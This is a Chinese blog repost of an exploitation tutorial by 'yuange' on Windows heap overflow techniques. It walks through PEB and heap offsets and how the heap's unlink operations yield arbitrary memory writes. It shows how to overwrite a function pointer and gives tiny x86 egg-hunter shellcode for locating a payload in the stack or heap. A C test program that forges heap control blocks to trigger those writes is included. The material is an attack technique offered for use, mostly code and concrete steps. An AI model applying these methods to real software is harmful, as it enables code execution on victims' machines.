注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

【转】堆溢出利用高级技巧  

2013-10-08 09:49:38|  分类: 参考文章 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |


                                  堆溢出利用高级技巧——袁哥                              

一、peb地址正常方式0x7ffdf000,3GB方式peb加载地址0x7ffff000,正常很少使用3GB。

二、全局函数指针peb偏移0x20、0x24等几个。

三、默认堆地址stack在peb偏移0x18。

四、当前空闲堆指针在stack偏移0x17c。

五、堆分配、释放都有空闲内存的合并操作,可以一次内存操作2组写操作(4个内存写)。

1、堆释放大致过程:

 (1)、检查释放地址合法性;

 (2)、释放地址-8得到内存控制块;

 (3)、len=*(word *)mcb,检查内存控制块的使用标记,如果是未使用,转错误返回,if(mcb[5].0==0) goto err。

 (4)、得到上一块内存的控制块,检查是否使用,mcb2=mcb-*(word *)(mcb+2)*8,if(mcb2[5].0==1) goto(6);

 (5)、从空闲链表删除,内存写操作p1=*(int )(mcb2+8),p2=*(int ) (mcb2+0x0c),*(p1+1)=p2、*p2=p1;len+=*(word )mcb2,mcb=mcb2。重新修改内存控制链表;

 (6)、得到下一块内存块地址,mcb3=mcb+len*8,检查内存空闲否。if(mcb3[5].0==1) goto(8);

 (7)、从空闲链表删除,内存写操作p1=*(int )(mcb3+8),p2=*(int ) (mcb3+0x0c),*(p1+1)=p2、*p2=p1;。重新修改内存控制链表;

 (8)、收尾处理,返回。

2、堆分配大致过程:

(1)、检查分配长度的合法性,根据分配内存长度得到需要的长度单位len=(size+0x0f)/8 ,这个计算显然已经包含8字节对齐,和内存块本声的长度。根据len计算得到合适的子堆的空闲块指针address;

(2)、mcb=address-8,检查内存块长度满足要求不,if(len>*(word *)mcb)继续寻找下一块;

(3)、从空闲链表删除,内存写操作p1=*(int )(mcb+8),p2=*(int ) (mcb+0x0c),*(p1+1)=p2、*p2=p1.。没有检查内存分配否标记,因为是从空闲内存管理结构得到的内存地址,正常情况下一定是未分配;

(4)、mcb2=mcb+len*8,*(word )mcb2=*(word *)mcb-len,*(word *)mcb=len。重新建立好内存控制块mcb2;

(5)、检查下一块内存空闲否。mcb3=mcb2+*(word *)mcb*8,if(mcb3[5].0==1) goto(7);

(6)、从空闲链表删除,内存写操作p1=*(int )(mcb3+8),p2=*(int ) (mcb3+0x0c),*(p1+1)=p2、*p2=p1;

(7)、收尾处理,返回。 

 

六、寻找一个可写的函数调用功能地址,调用时简单的寄存器或者堆栈中有一个传递参数可以传递shellcode。利用五设计一组内存操作覆盖功能地址为一个固定可写地址,另一组内存操作写一个小跳转shellcode到选取的可写地址。设计好*(p1+1)=p2、*p2=p1可以得到4字节的任意代码而不出现非法错误。这个就依靠可写的函数调用功能地址的选取了。


       lea   eax dword [ebp+0xxxxxxxxx]

       push  eax

       call   dword ptr [funaddress]

 

    (1)、p2=funaddress,   p1=canwriteadd

    (2)、p2=canwriteadd,  p1=canwriteadd&0xffff0000+0xc350

     //0x50 0xc3  push eax ,ret       


七、功能地址选取全局地址,需要利用内存分配写一小段shellcode去找到真实的shellcode。这个主要是堆里面的东西搜寻起来麻烦,如果堆栈里面有可传递的东西就相对方便些。这个小shellcode相对就要长一点,需要多次内存分配、释放操作才能完成

八、搜寻真实shellcode的小shellcode代码。

(1)、搜寻堆栈;

      push  esp

      pop   edi

      push  esp 

      pop   ecx

 

      mov eax,0x90909090  // 5 bytes   mov ax,0x9090   4 bytes

      repnz

      scasd               //1 bytes    scasw          2 bytes   4+2=5+1

          push edi

          ret

 

         简化的版本可能是6字节的shellcode:

      push  esp

      pop   edi

      repnz

      scasd

          push edi

          ret

 

   堆栈中的shellcode以0x90909090开始,可以使用别的标记,也可以稍微简化,如果当时环境得到固定的eax或者ax,可以采用这个值作为shellcode开始的标记,这样shellcode可以减少5字节,如果堆栈里面有比较大的值,可以直接pop到ecx,或者ecx固定比较大,那么不用赋值,可以减少1到2字节。简化版本的shellcode就比较小了,可以小到6字节。

    (2)、搜寻堆中shellcode。

          mov  eax,dword ptr [0x7ffdf018]

          add   ax,0x017c

          mov  edi,dword ptr [eax]

          push  eax

          pop   ecx        

          std 

          repnz

          scasw

          push edi

          ret

   如果堆的位置大致固定,可以简化:          

          mov   edi,0x11223344

          push   edi

          pop    eax

          repnz

          scasw

          push   edi

          ret

   主要是堆中间可能有些“空洞”,内存页面不在,而WINDOWS堆位置变化又比较大,所以简化版本的搜索范围不太好能确定。

   两个shellcode还是有点长,不过还是可以精心设计使得几次内存操作后就可以写出我们需要的shellcode了。如果是格式化串溢出,完全可以一次写出这样的小shellcode,就能够写出比较通用的代码出来。

九、下面的代码是测试内存分配、释放操作的,溢出后的分配、释放都得到两组内存操作。

 

 

/*

     malloc.c 1.0

     copy by yuange <yuange@xxx.net>  2003.01.18

*/  

 

#include <windows.h>

//#define  BUFFSIZE    0x20000

int main(int argc, char **argv)

{  

//  char    buff[BUFFSIZE];

  char    *buffer1;

  char    *buffer2;

  char    *buffer3;

  char    *buffer4;

  int     i; 

  char    mcb1[0x10]="\x02\x01\x00\x01\x00\x01\x00\x00\x90\xf2\xfd\x7f\x98\xf2\xfd\x7f";

  char    mcb2[0x10]="\x06\x01\x04\x01\x00\x20\x00\x00\xa0\xf2\xfd\x7f\xa8\xf2\xfd\x7f";

  char    mcb3[0x10]="\x30\x00\x08\x01\x00\x20\x00\x00\xb0\xf2\xfd\x7f\xb8\xf2\xfd\x7f";

  buffer1 = (char *)LocalAlloc(LMEM_ZEROINIT,0x1100);

  buffer2=(char *)LocalAlloc(LMEM_ZEROINIT,0x1008);

  buffer3=(char *)LocalAlloc(LMEM_ZEROINIT,0x1000);

  buffer4=(char *)LocalAlloc(LMEM_ZEROINIT,0x1000);

  for(i=0;i<0x4500;i+=0x10)

  {

      if(i<0x2000)

         {

                memcpy(buffer1+i,mcb2,0x10);

         }

         if(0x2400>i&i>0x2000)

         {

                memcpy(buffer1+i,mcb1,0x10);

         }

         if(i>0x2400)

         {

                memcpy(buffer1+i,mcb3,0x10);

         }

  }

  buffer4 = (char *)LocalAlloc(LMEM_ZEROINIT,0x100);

  LocalFree(buffer3);

  buffer4=(char *)LocalAlloc(LMEM_ZEROINIT,0x1000);

  return(0);

}

 

  评论这张
 
阅读(311)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017